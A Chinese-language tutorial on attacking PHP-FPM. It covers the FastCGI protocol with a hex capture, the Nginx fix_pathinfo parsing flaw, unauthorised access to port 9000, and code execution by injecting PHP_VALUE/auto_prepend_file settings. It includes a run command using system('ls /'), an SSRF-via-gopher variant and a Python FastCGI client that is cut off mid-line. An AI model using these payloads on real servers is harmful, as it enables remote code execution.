攻击PHP-FPM 
         
    
    
    
    Nginx与PHP-FPM Nginx 	Nginx (“engine x”) 是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP服务器。
PHP-FPM 	FPM(php-Fastcgi Process Manager)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。故名思义,FPM是管理FastCGI进程 的,能够解析fastcgi协议。
	其包含master和worker两种进程.master进程只有一个,负责监听端口,用来接收来自Web Sever请求,而worker进程一般会有多个,每个进程内部都嵌入了一个PHP解释器,是php真正执行的地方.
  php-fpm默认是unix socket连接,可以在配置文件中修改成tcp连接
Nginx与PHP-FPM通信 Nginx通过反向代理将请求转给PHP-FPM解析.
CGI与FastCGI CGI 	CGI(Common Gateway Interface)通用网关接口,在CGI模式下,当web服务器收到http请求时,就会调用php-cgi进程,通过CGI协议,服务器把请求内容转换成php-cgi能够读懂的协议数据传递给CGI进程,CGI进程拿到内容后就会解析对应的php文件,得到结果在返回给web服务器,由web服务器再返回给客户端.
	但是在CGI模式下,每次客户端发起请求都需要建立和销毁进程,导致资源消耗很大.因为http要生成一个动态页面,系统就必须启动一个新进程以运行CGI程序,不断地fork是一项很耗时间和资源的工作,所以诞生了FastCGI模式.
FastCGI 	FastCGI (Fast Common Gateway Interface)快速通用网关接口.FastCGi致力于减少网页服务器与CGI程序之间交互的开销,FastCGI每次处理完请求后,不会kill掉这个进程,而是保留进程,从而使服务器可以同时处理更多的网页请求.
	简而言之,CGI模式是Apache2接收到请求去调用CGI程序,而FastCGI模式是FastCGI进程自己管理自己的CGI进程,而不再是Apache去主动调用CGI进程,而FastCGI进程又提供了很多辅助功能比如内存管理、垃圾处理、保障了CGI的高效性,并且此时CGI是常驻在内存中、不会每次请求重新启动,从而使得性能得到质的提高.
FastCGI协议分析  Tcpdump抓包Nginx中FastCGI协议 
Fastcgi record 	FastCGI是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.
	类比HTTP协议来说,fastcgi协议是服务器中间件和摸个语言后端进行数据交换的协议.fastcgi协议由多个record 组成,record也有header 和body ,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码后得到具体数据,进行指定操作,并将结果在按照该协议封装好后返回给服务器中间件.
	和HTTP头不同的是,record的头固定8个字节,body是由头中的contentLength指定,结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 typedef struct {   /* Header */   unsigned char version; // 版本   unsigned char type; // 本次record的类型   unsigned char requestIdB1; // 本次record对应的请求id   unsigned char requestIdB0;   unsigned char contentLengthB1; // body体的大小   unsigned char contentLengthB0;   unsigned char paddingLength; // 额外块大小   unsigned char reserved;    /* Body */   unsigned char contentData[contentLength];   unsigned char paddingData[paddingLength]; } FCGI_Record; 
	Header头由8个uchar类型的变量组成,每个变量1字节.其中,requestld 占两个字节,一个是唯一的标志id,用来避免多个请求之间的影响;contenLength 占两个字节,表示body的大小.
	在语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流中读取大小等于contentLenth的数据,这就是body体.
	body后面还以一段额外的数据Padding,其中长度由头中的paddingLength指定,起保留作用.不需要该Padding的时候,将其长度设置为0即可
由此可见,一个fastcgi的record结构最大支持的body大小是2^16,65536字节.
Fastcgi type 	现在再来详细介绍一下fastcgi record中的type 字节.
	type就是指定该record的作用 .因为fastcgi的一个record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流中传输多个record,通过type来标志每个record的作用 ,用requestid作为同义词请求的id.
	所以在一次请求中,多个record的requestid是相同的。
type值的具体含义:
	看到这个图我们可以知道,在服务器中间件与后端交互时,第一个数据包record的type=1,之后继续交互发送type=4,5,6,7的record,结束时发送type=2,3的record.
当后端语言接收到一个type为4的record后,就会把这个record的body按照对应结构解析成key-value对,这就是php的环境变量 ,其结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 typedef struct {   unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */   unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */   unsigned char nameData[nameLength];   unsigned char valueData[valueLength]; } FCGI_NameValuePair11; typedef struct {   unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */   unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */   unsigned char valueLengthB2;   unsigned char valueLengthB1;   unsigned char valueLengthB0;   unsigned char nameData[nameLength];   unsigned char valueData[valueLength           ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair14; typedef struct {   unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */   unsigned char nameLengthB2;   unsigned char nameLengthB1;   unsigned char nameLengthB0;   unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */   unsigned char nameData[nameLength           ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];   unsigned char valueData[valueLength]; } FCGI_NameValuePair41; typedef struct {   unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */   unsigned char nameLengthB2;   unsigned char nameLengthB1;   unsigned char nameLengthB0;   unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */   unsigned char valueLengthB2;   unsigned char valueLengthB1;   unsigned char valueLengthB0;   unsigned char nameData[nameLength           ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];   unsigned char valueData[valueLength           ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; } FCGI_NameValuePair44; 
这其实是 4 个结构,至于用哪个结构,有如下规则:
key、value均小于128字节,用 FCGI_NameValuePair11 
key大于128字节,value小于128字节,用 FCGI_NameValuePair41 
key小于128字节,value大于128字节,用 FCGI_NameValuePair14 
key、value均大于128字节,用 FCGI_NameValuePair44 
 
抓包流量分析 使用tcpdump抓取端口9000的包,追踪其tcp流:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 00000000  01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00   ........ ........ 00000010  01 04 00 01 05 47 01 00  0c 00 51 55 45 52 59 5f   .....G.. ..QUERY_ 00000020  53 54 52 49 4e 47 0e 04  52 45 51 55 45 53 54 5f   STRING.. REQUEST_ 00000030  4d 45 54 48 4f 44 50 4f  53 54 0c 21 43 4f 4e 54   METHODPO ST.!CONT 00000040  45 4e 54 5f 54 59 50 45  61 70 70 6c 69 63 61 74   ENT_TYPE applicat 00000050  69 6f 6e 2f 78 2d 77 77  77 2d 66 6f 72 6d 2d 75   ion/x-ww w-form-u 00000060  72 6c 65 6e 63 6f 64 65  64 0e 01 43 4f 4e 54 45   rlencode d..CONTE 00000070  4e 54 5f 4c 45 4e 47 54  48 33 0b 06 53 43 52 49   NT_LENGT H3..SCRI 00000080  50 54 5f 4e 41 4d 45 2f  31 2e 70 68 70 0b 06 52   PT_NAME/ 1.php..R 00000090  45 51 55 45 53 54 5f 55  52 49 2f 31 2e 70 68 70   EQUEST_U RI/1.php 000000A0  0c 06 44 4f 43 55 4d 45  4e 54 5f 55 52 49 2f 31   ..DOCUME NT_URI/1 000000B0  2e 70 68 70 0d 0d 44 4f  43 55 4d 45 4e 54 5f 52   .php..DO CUMENT_R 000000C0  4f 4f 54 2f 76 61 72 2f  77 77 77 2f 68 74 6d 6c   OOT/var/ www/html 000000D0  0f 08 53 45 52 56 45 52  5f 50 52 4f 54 4f 43 4f   ..SERVER _PROTOCO 000000E0  4c 48 54 54 50 2f 31 2e  31 0e 04 52 45 51 55 45   LHTTP/1. 1..REQUE 000000F0  53 54 5f 53 43 48 45 4d  45 68 74 74 70 11 07 47   ST_SCHEM Ehttp..G 00000100  41 54 45 57 41 59 5f 49  4e 54 45 52 46 41 43 45   ATEWAY_I NTERFACE 00000110  43 47 49 2f 31 2e 31 0f  0c 53 45 52 56 45 52 5f   CGI/1.1. .SERVER_ 00000120  53 4f 46 54 57 41 52 45  6e 67 69 6e 78 2f 31 2e   SOFTWARE nginx/1. 00000130  32 30 2e 32 0b 0c 52 45  4d 4f 54 45 5f 41 44 44   20.2..RE MOTE_ADD 00000140  52 31 39 32 2e 31 36 38  2e 32 30 2e 31 0b 05 52   R192.168 .20.1..R 00000150  45 4d 4f 54 45 5f 50 4f  52 54 36 34 32 35 36 0b   EMOTE_PO RT64256. 00000160  0a 53 45 52 56 45 52 5f  41 44 44 52 31 37 32 2e   .SERVER_ ADDR172. 00000170  31 37 2e 30 2e 32 0b 02  53 45 52 56 45 52 5f 50   17.0.2.. SERVER_P 00000180  4f 52 54 38 30 0b 09 53  45 52 56 45 52 5f 4e 41   ORT80..S ERVER_NA 00000190  4d 45 6c 6f 63 61 6c 68  6f 73 74 0f 03 52 45 44   MElocalh ost..RED 000001A0  49 52 45 43 54 5f 53 54  41 54 55 53 32 30 30 0f   IRECT_ST ATUS200. 000001B0  13 53 43 52 49 50 54 5f  46 49 4c 45 4e 41 4d 45   .SCRIPT_ FILENAME 000001C0  2f 76 61 72 2f 77 77 77  2f 68 74 6d 6c 2f 31 2e   /var/www /html/1. 000001D0  70 68 70 09 0e 48 54 54  50 5f 48 4f 53 54 31 39   php..HTT P_HOST19 000001E0  32 2e 31 36 38 2e 32 30  2e 31 32 39 0f 0a 48 54   2.168.20 .129..HT 000001F0  54 50 5f 43 4f 4e 4e 45  43 54 49 4f 4e 6b 65 65   TP_CONNE CTIONkee 00000200  70 2d 61 6c 69 76 65 13  01 48 54 54 50 5f 43 4f   p-alive. .HTTP_CO 00000210  4e 54 45 4e 54 5f 4c 45  4e 47 54 48 33 0b 08 48   NTENT_LE NGTH3..H 00000220  54 54 50 5f 50 52 41 47  4d 41 6e 6f 2d 63 61 63   TTP_PRAG MAno-cac 00000230  68 65 12 08 48 54 54 50  5f 43 41 43 48 45 5f 43   he..HTTP _CACHE_C 00000240  4f 4e 54 52 4f 4c 6e 6f  2d 63 61 63 68 65 1e 01   ONTROLno -cache.. 00000250  48 54 54 50 5f 55 50 47  52 41 44 45 5f 49 4e 53   HTTP_UPG RADE_INS 00000260  45 43 55 52 45 5f 52 45  51 55 45 53 54 53 31 0b   ECURE_RE QUESTS1. 00000270  15 48 54 54 50 5f 4f 52  49 47 49 4e 68 74 74 70   .HTTP_OR IGINhttp 00000280  3a 2f 2f 31 39 32 2e 31  36 38 2e 32 30 2e 31 32   ://192.1 68.20.12 00000290  39 11 21 48 54 54 50 5f  43 4f 4e 54 45 4e 54 5f   9.!HTTP_ CONTENT_ 000002A0  54 59 50 45 61 70 70 6c  69 63 61 74 69 6f 6e 2f   TYPEappl ication/ 000002B0  78 2d 77 77 77 2d 66 6f  72 6d 2d 75 72 6c 65 6e   x-www-fo rm-urlen 000002C0  63 6f 64 65 64 0f 6f 48  54 54 50 5f 55 53 45 52   coded.oH TTP_USER 000002D0  5f 41 47 45 4e 54 4d 6f  7a 69 6c 6c 61 2f 35 2e   _AGENTMo zilla/5. 000002E0  30 20 28 57 69 6e 64 6f  77 73 20 4e 54 20 31 30   0 (Windo ws NT 10 000002F0  2e 30 3b 20 57 69 6e 36  34 3b 20 78 36 34 29 20   .0; Win6 4; x64)  00000300  41 70 70 6c 65 57 65 62  4b 69 74 2f 35 33 37 2e   AppleWeb Kit/537. 00000310  33 36 20 28 4b 48 54 4d  4c 2c 20 6c 69 6b 65 20   36 (KHTM L, like  00000320  47 65 63 6b 6f 29 20 43  68 72 6f 6d 65 2f 31 32   Gecko) C hrome/12 00000330  38 2e 30 2e 30 2e 30 20  53 61 66 61 72 69 2f 35   8.0.0.0  Safari/5 00000340  33 37 2e 33 36 0b 80 00  00 87 48 54 54 50 5f 41   37.36... ..HTTP_A 00000350  43 43 45 50 54 74 65 78  74 2f 68 74 6d 6c 2c 61   CCEPTtex t/html,a 00000360  70 70 6c 69 63 61 74 69  6f 6e 2f 78 68 74 6d 6c   pplicati on/xhtml 00000370  2b 78 6d 6c 2c 61 70 70  6c 69 63 61 74 69 6f 6e   +xml,app lication 00000380  2f 78 6d 6c 3b 71 3d 30  2e 39 2c 69 6d 61 67 65   /xml;q=0 .9,image 00000390  2f 61 76 69 66 2c 69 6d  61 67 65 2f 77 65 62 70   /avif,im age/webp 000003A0  2c 69 6d 61 67 65 2f 61  70 6e 67 2c 2a 2f 2a 3b   ,image/a png,*/*; 000003B0  71 3d 30 2e 38 2c 61 70  70 6c 69 63 61 74 69 6f   q=0.8,ap plicatio 000003C0  6e 2f 73 69 67 6e 65 64  2d 65 78 63 68 61 6e 67   n/signed -exchang 000003D0  65 3b 76 3d 62 33 3b 71  3d 30 2e 37 0c 1b 48 54   e;v=b3;q =0.7..HT 000003E0  54 50 5f 52 45 46 45 52  45 52 68 74 74 70 3a 2f   TP_REFER ERhttp:/ 000003F0  2f 31 39 32 2e 31 36 38  2e 32 30 2e 31 32 39 2f   /192.168 .20.129/ 00000400  31 2e 70 68 70 14 0d 48  54 54 50 5f 41 43 43 45   1.php..H TTP_ACCE 00000410  50 54 5f 45 4e 43 4f 44  49 4e 47 67 7a 69 70 2c   PT_ENCOD INGgzip, 00000420  20 64 65 66 6c 61 74 65  14 17 48 54 54 50 5f 41    deflate ..HTTP_A 00000430  43 43 45 50 54 5f 4c 41  4e 47 55 41 47 45 7a 68   CCEPT_LA NGUAGEzh 00000440  2d 43 4e 2c 7a 68 3b 71  3d 30 2e 39 2c 65 6e 3b   -CN,zh;q =0.9,en; 00000450  71 3d 30 2e 38 0b 80 00  00 fa 48 54 54 50 5f 43   q=0.8... ..HTTP_C 00000460  4f 4f 4b 49 45 4a 53 45  53 53 49 4f 4e 49 44 3d   OOKIEJSE SSIONID= 00000470  41 38 44 35 46 42 34 45  45 42 45 41 43 37 34 44   A8D5FB4E EBEAC74D 00000480  42 32 42 37 37 44 41 32  43 31 45 43 35 39 42 42   B2B77DA2 C1EC59BB 00000490  3b 20 50 48 50 53 45 53  53 49 44 3d 32 68 63 74   ; PHPSES SID=2hct 000004A0  70 62 69 63 63 37 66 68  39 32 37 30 6a 6b 62 75   pbicc7fh 9270jkbu 000004B0  6b 63 61 63 62 61 3b 20  73 65 73 73 69 6f 6e 3d   kcacba;  session= 000004C0  65 79 4a 6a 63 33 4a 6d  58 33 52 76 61 32 56 75   eyJjc3Jm X3Rva2Vu 000004D0  49 6a 6f 69 4d 7a 45 34  4d 7a 64 69 59 6d 49 78   IjoiMzE4 MzdiYmIx 000004E0  4e 32 5a 68 4e 6a 46 6d  4d 6a 6b 32 4f 47 45 33   N2ZhNjFm Mjk2OGE3 000004F0  4e 44 51 30 59 7a 6b 78  4d 44 63 32 4e 6a 4a 6c   NDQ0Yzkx MDc2NjJl 00000500  59 57 59 30 4d 6a 5a 6d  5a 69 49 73 49 6d 6c 6b   YWY0MjZm ZiIsImlk 00000510  5a 57 35 30 61 58 52 35  49 6a 6f 69 5a 33 56 6c   ZW50aXR5 IjoiZ3Vl 00000520  63 33 51 69 4c 43 4a 31  63 32 56 79 62 6d 46 74   c3QiLCJ1 c2VybmFt 00000530  5a 53 49 36 49 6d 68 6a  61 69 4a 39 2e 5a 74 32   ZSI6Imhj aiJ9.Zt2 00000540  56 72 41 2e 6d 68 52 5f  5a 67 72 42 35 57 54 50   VrA.mhR_ ZgrB5WTP 00000550  37 31 47 45 71 7a 55 68  36 44 78 56 70 73 59 00   71GEqzUh 6DxVpsY. 00000560  01 04 00 01 00 00 00 00  01 05 00 01 00 03 05 00   ........ ........ 00000570  78 3d 31 00 00 00 00 00  01 05 00 01 00 00 00 00   x=1..... ........ 
在这个包里能看到许多PHP的SERVER全局变量的参数,把包拆分,第一个包为:
1 01 01 00 01 00 08 00 00  00 01 00 00 00 00 00 00 
其中前8位就是我们上面说的record头,它的意思即:
version 为 01 
type 为 01,表示这是第一个包 
00 01 表示通信 ID 为 1 
00 08 表示 body 大小为8 
00 00 表示 padding 长度为 0,没有保留字节 
 
后 8 位则是 body,它的意思是:
00 01 为 role,表示 PHP-FPM 接受我们的 HTTP 所关联的信息,并产生个响应
| role值 | 具体含义 |
00 表示不 keep-alive,在处理完一次请求就关闭
五个 00 为保留字段
 
从数据包我们可以得知这第一个包进行了一些初始设置,再看第二个包:
1 01 04 00 01 05 47 01 00  0c 00 51 55 45 52 59 5f 
01 为 version 
04 说明在这个包中传递了环境参数 
00 01 为通信 ID 
05 47 说明 body 长度为 0x547,即 1351 
01 00 表示 padding 长度为 1,有1字节的填充数据 
 
Key 
Value 
 
 
QUERY_STRING(空字符串) 
 
REQUEST_METHODPOST 
 
CONTENT_TYPEapplication/x-www-form-urlencoded 
 
CONTENT_LENGTH3 
 
SCRIPT_NAME/1.php 
 
REQUEST_URI/1.php 
 
DOCUMENT_URI/1.php 
 
DOCUMENT_ROOT/var/www/html 
 
SERVER_PROTOCOLHTTP/1.1 
 
REQUEST_SCHEMEhttp 
 
GATEWAY_INTERFACECGI/1.1 
 
SERVER_SOFTWAREnginx/1.20.2 
 
REMOTE_ADDR192.168.20.1 
 
REMOTE_PORT64256 
 
SERVER_ADDR172.17.0.2 
 
SERVER_PORT80 
 
SERVER_NAMElocalhost 
 
REDIRECT_STATUS200 
 
SCRIPT_FILENAME/var/www/html/1.php 
 
HTTP_HOST192.168.20.129 
 
HTTP_CONNECTIONkeep-alive 
 
HTTP_CONTENT_LENGTH3 
 
HTTP_PRAGMAno-cache 
 
HTTP_CACHE_CONTROLno-cache 
 
HTTP_UPGRADE_INSECURE_REQUESTS1 
 
HTTP_ORIGINhttp://192.168.20.129  
HTTP_CONTENT_TYPEapplication/x-www-form-urlencoded 
 
HTTP_USER_AGENTMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 
 
HTTP_ACCEPTtext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/ ;q=0.8,application/signed-exchange;v=b3;q=0.7 
 
HTTP_REFERERhttp://192.168.20.129/1.php  
HTTP_ACCEPT_ENCODINGgzip, deflate 
 
HTTP_ACCEPT_LANGUAGEzh-CN,zh;q=0.9,en;q=0.8 
 
HTTP_COOKIEJSESSIONID=A8D5FB4EEBEAC74DB2B77DA2C1EC59BB; PHPSESSID=2hctpbicc7fh9270jkbukcacba; session=eyJjc3JmX3Rva2VuIjoiMzE4MzdiYmIxN2ZhNjFmMjk2OGE3NDQ0YzkxMDc2NjJlYWY0MjZmZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6ImhjaiJ9.Zt2VrA.mhR_ZgrB5WTP71GEqzUh6DxVpsY 
 
x1 
 
可以看到,type4中传递的这些key-value,和phpinfo中看到的那些一样
实际上,FPM是一个fastcgi协议解析器 ,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好后通过TCP来将请求发送给FPM.FPM按照fastcgi协议将TCP流解析成真正的数据. 
type4发送的这些其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量 。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。
然后再看看最后一个包:
1 2 01 04 00 01 00 00 00 00  01 05 00 01 00 03 05 00 78 3d 31 00 00 00 00 00  01 05 00 01 00 00 00 00 
前面的应该是环境变量参数包的结尾,后面的是type=5,POST提交数据的包头,下面是body和post包的结尾.
以上这就是一次Fastcgi请求的包了.
Nginx(IIS7)解析漏洞 Nginx和IIS7曾经出现过一个PHP相关的解析漏,该漏洞现象是,在用户访问http://127.0.0.1/favicon.ico/.php时,访问到的文件是favicon.ico,但却按照.php后缀解析。
当用户请求http://127.0.0.1/favicon.ico/.php时,nginx会发送如下环境变量到fpm里:
1 2 3 4 5 6 7 8 {     ...     'SCRIPT_FILENAME': '/var/www/html/favicon.ico/.php',     'SCRIPT_NAME': '/favicon.ico/.php',     'REQUEST_URI': '/favicon.ico/.php',     'DOCUMENT_ROOT': '/var/www/html',     ... } 
正常来说这里SCRIPT_FILENAME访问的是一个不存在的文件,但是PHP设置中有一个选项fix_pathinfo 导致了
此漏洞.在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉去掉一个/及以后的所有内容,并再次判断文件是否存在,循环类推.
也因此,在第一次访问/var/www/html/favicon.ico/.php时发现不存在,再次查询/var/www/html/favicon.ico发现存在,于是被作为php文件执行,导致解析漏洞.
正确的解决方法有两种,一是在Nginx端使用fastcgi_split_path_info将path info信息去除后,用tryfiles判断文件是否存在;二是借助PHP-FPM的security.limit_extensions配置项,避免其他后缀文件被解析。
PHP-FPM未授权访问漏洞 	这个漏洞主要是因为php-fpm对两个进程间通讯没有进行安全性认证 ,php-fpm默认监听的是9000端口,如果这个端口暴露在公网上,我们就可以构造fastcgi协议来和fpm进行通信 ,通过构造数据包给环境变量赋值,最终可以达到任意文件执行 的目的了.
但是由于在php5.3.9之后加入了fpm增加了security.limit_extensions选项
1 2 3 4 5 6 7 ; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; exectute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7 
导致限制了只有这几种文件允许被fpm执行,默认是.php.
由于这个配置项的限制,如果想利用php-fpm的未授权访问漏洞,首先得先找到一个已存在的php文件,不过在安装php的时候,服务器上都会附带一些php后缀的文件,可以使用find / -name "*.php”来搜索一下
可以看到有个老朋友/usr/local/lib/php/PEAR.php。
PHP-FPM任意代码执行 	为什么我们前面说控制了fastcgi协议通信的内容,就可以可执行任意php代码呢?	
理论上确实不行,哪怕我们控制了SCRIPT_FILENAME,也是只能执行目标服务器上的文件,并不能任意代码执行。
不过php里面有两个配置项可以解决我们的需求,这两个配置项在学习文件包含中也很常见:auto_prepend_file 和auto_append_file 。
假如我们设置auto_prepend_file=php://input,那么就等于在执行任何php文件前都要包含一遍POST中的内容,所以我们只需要把待执行的代码放在body中,就可以被执行成功了.(不过需要开启远程文件包含选项allow_url_include ).
那么我们该如何设置auto_prepend_file的值呢?
PHP-FPM中有两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE.这两个环境变量就是用来设置php配置选项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项 ,PHP_ADMIN_VALUE可以设置所有选项 ,disable_function这个选项除外,这个是php加载的时候就确定的.
所以,我们需要最后传入如下环境变量:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 {     'GATEWAY_INTERFACE': 'FastCGI/1.0',     'REQUEST_METHOD': 'GET',     'SCRIPT_FILENAME': '/var/www/html/index.php',     'SCRIPT_NAME': '/index.php',     'QUERY_STRING': '?a=1&b=2',     'REQUEST_URI': '/index.php?a=1&b=2',     'DOCUMENT_ROOT': '/var/www/html',     'SERVER_SOFTWARE': 'php/fcgiclient',     'REMOTE_ADDR': '127.0.0.1',     'REMOTE_PORT': '12345',     'SERVER_ADDR': '127.0.0.1',     'SERVER_PORT': '80',     'SERVER_NAME': "localhost",     'SERVER_PROTOCOL': 'HTTP/1.1'     'PHP_VALUE': 'auto_prepend_file = php://input',     'PHP_ADMIN_VALUE': 'allow_url_include = On' } 
设置auto_prepend_file = php://input 且allow_url_include = On ,然后将我们需要执行的代码放在Body中,即可执行任意代码。
使用P神的脚本python fpm.py 192.168.20.129 /var/www/html/index.php -c "<?php system('ls /'); exit(); ?>"
完美拿下!
远程打PHP-FPM 	现在我们已经可以通过PHP_VALUE 和 PHP_ADMIN_VALUE 这两个环境变量设置 PHP 配置选项 auto_prepend_file 和 allow_url_include ,从而使 PHP-FPM 执行我们提供的任意代码.如果PHP-FPM被绑定在公网上,那么任何人都可以伪装成中间件来让php-fpm任意代码执行.
也是使用P神的脚本即可,支持python2与3
SSRF打PHP-FPM 使用p神脚本 p神脚本是生成tcp流后直接发送,只需要把发送那部分注释掉即可,再把生成的tcp流前面加上gopher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 import  socketimport  randomimport  argparseimport  sysfrom  io import  BytesIOfrom  six.moves.urllib import  parse as  urlparsePY2 = True  if  sys.version_info.major == 2  else  False  def  bchr (i ):    if  PY2:         return  force_bytes(chr (i))     else :         return  bytes ([i]) def  bord (c ):    if  isinstance (c, int ):         return  c     else :         return  ord (c) def  force_bytes (s ):    if  isinstance (s, bytes ):         return  s     else :         return  s.encode('utf-8' , 'strict' ) def  force_text (s ):    if  issubclass (type (s), str ):         return  s     if  isinstance (s, bytes ):         s = str (s, 'utf-8' , 'strict' )     else :         s = str (s)     return  s class  FastCGIClient :    """A Fast-CGI Client for Python"""           __FCGI_VERSION = 1      __FCGI_ROLE_RESPONDER = 1      __FCGI_ROLE_AUTHORIZER = 2      __FCGI_ROLE_FILTER = 3      __FCGI_TYPE_BEGIN = 1      __FCGI_TYPE_ABORT = 2      __FCGI_TYPE_END = 3      __FCGI_TYPE_PARAMS = 4      __FCGI_TYPE_STDIN = 5      __FCGI_TYPE_STDOUT = 6      __FCGI_TYPE_STDERR = 7      __FCGI_TYPE_DATA = 8      __FCGI_TYPE_GETVALUES = 9      __FCGI_TYPE_GETVALUES_RESULT = 10      __FCGI_TYPE_UNKOWNTYPE = 11      __FCGI_HEADER_SIZE = 8           FCGI_STATE_SEND = 1      FCGI_STATE_ERROR = 2      FCGI_STATE_SUCCESS = 3      def  __init__ (self, host, port, timeout, keepalive ):         self.host = host         self.port = port         self.timeout = timeout         if  keepalive:             self.keepalive = 1          else :             self.keepalive = 0          self.sock = None          self.requests = dict ()     def  __connect (self ):         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)         self.sock.settimeout(self.timeout)         self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )                                             try :             self.sock.connect((self.host, int (self.port)))         except  socket.error as  msg:             self.sock.close()             self.sock = None              print (repr (msg))             return  False               def  __encodeFastCGIRecord (self, fcgi_type, content, requestid ):         length = len (content)         buf = bchr(FastCGIClient.__FCGI_VERSION) \                + bchr(fcgi_type) \                + bchr((requestid >> 8 ) & 0xFF ) \                + bchr(requestid & 0xFF ) \                + bchr((length >> 8 ) & 0xFF ) \                + bchr(length & 0xFF ) \                + bchr(0 ) \                + bchr(0 ) \                + content         return  buf     def  __encodeNameValueParams (self, name, value ):         nLen = len (name)         vLen = len (value)         record = b''          if  nLen < 128 :             record += bchr(nLen)         else :             record += bchr((nLen >> 24 ) | 0x80 ) \                       + bchr((nLen >> 16 ) & 0xFF ) \                       + bchr((nLen >> 8 ) & 0xFF ) \                       + bchr(nLen & 0xFF )         if  vLen < 128 :             record += bchr(vLen)         else :             record += bchr((vLen >> 24 ) | 0x80 ) \                       + bchr((vLen >> 16 ) & 0xFF ) \                       + bchr((vLen >> 8 ) & 0xFF ) \                       + bchr(vLen & 0xFF )         return  record + name + value     def  __decodeFastCGIHeader (self, stream ):         header = dict ()         header['version' ] = bord(stream[0 ])         header['type' ] = bord(stream[1 ])         header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ])         header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ])         header['paddingLength' ] = bord(stream[6 ])         header['reserved' ] = bord(stream[7 ])         return  header     def  __decodeFastCGIRecord (self, buffer ):         header = buffer.read(int (self.__FCGI_HEADER_SIZE))         if  not  header:             return  False          else :             record = self.__decodeFastCGIHeader(header)             record['content' ] = b''              if  'contentLength'  in  record.keys():                 contentLength = int (record['contentLength' ])                 record['content' ] += buffer.read(contentLength)             if  'paddingLength'  in  record.keys():                 skiped = buffer.read(int (record['paddingLength' ]))             return  record     def  request (self, nameValuePairs={}, post=''  ):         if  not  self.__connect():             print ('connect failure! please check your fasctcgi-server !!' )             return          requestId = random.randint(1 , (1  << 16 ) - 1 )         self.requests[requestId] = dict ()         request = b""          beginFCGIRecordContent = bchr(0 ) \                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \                                  + bchr(self.keepalive) \                                  + bchr(0 ) * 5          request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                               beginFCGIRecordContent, requestId)         paramsRecord = b''          if  nameValuePairs:             for  (name, value) in  nameValuePairs.items():                 name = force_bytes(name)                 value = force_bytes(value)                 paramsRecord += self.__encodeNameValueParams(name, value)         if  paramsRecord:             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId)         if  post:             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)         request += 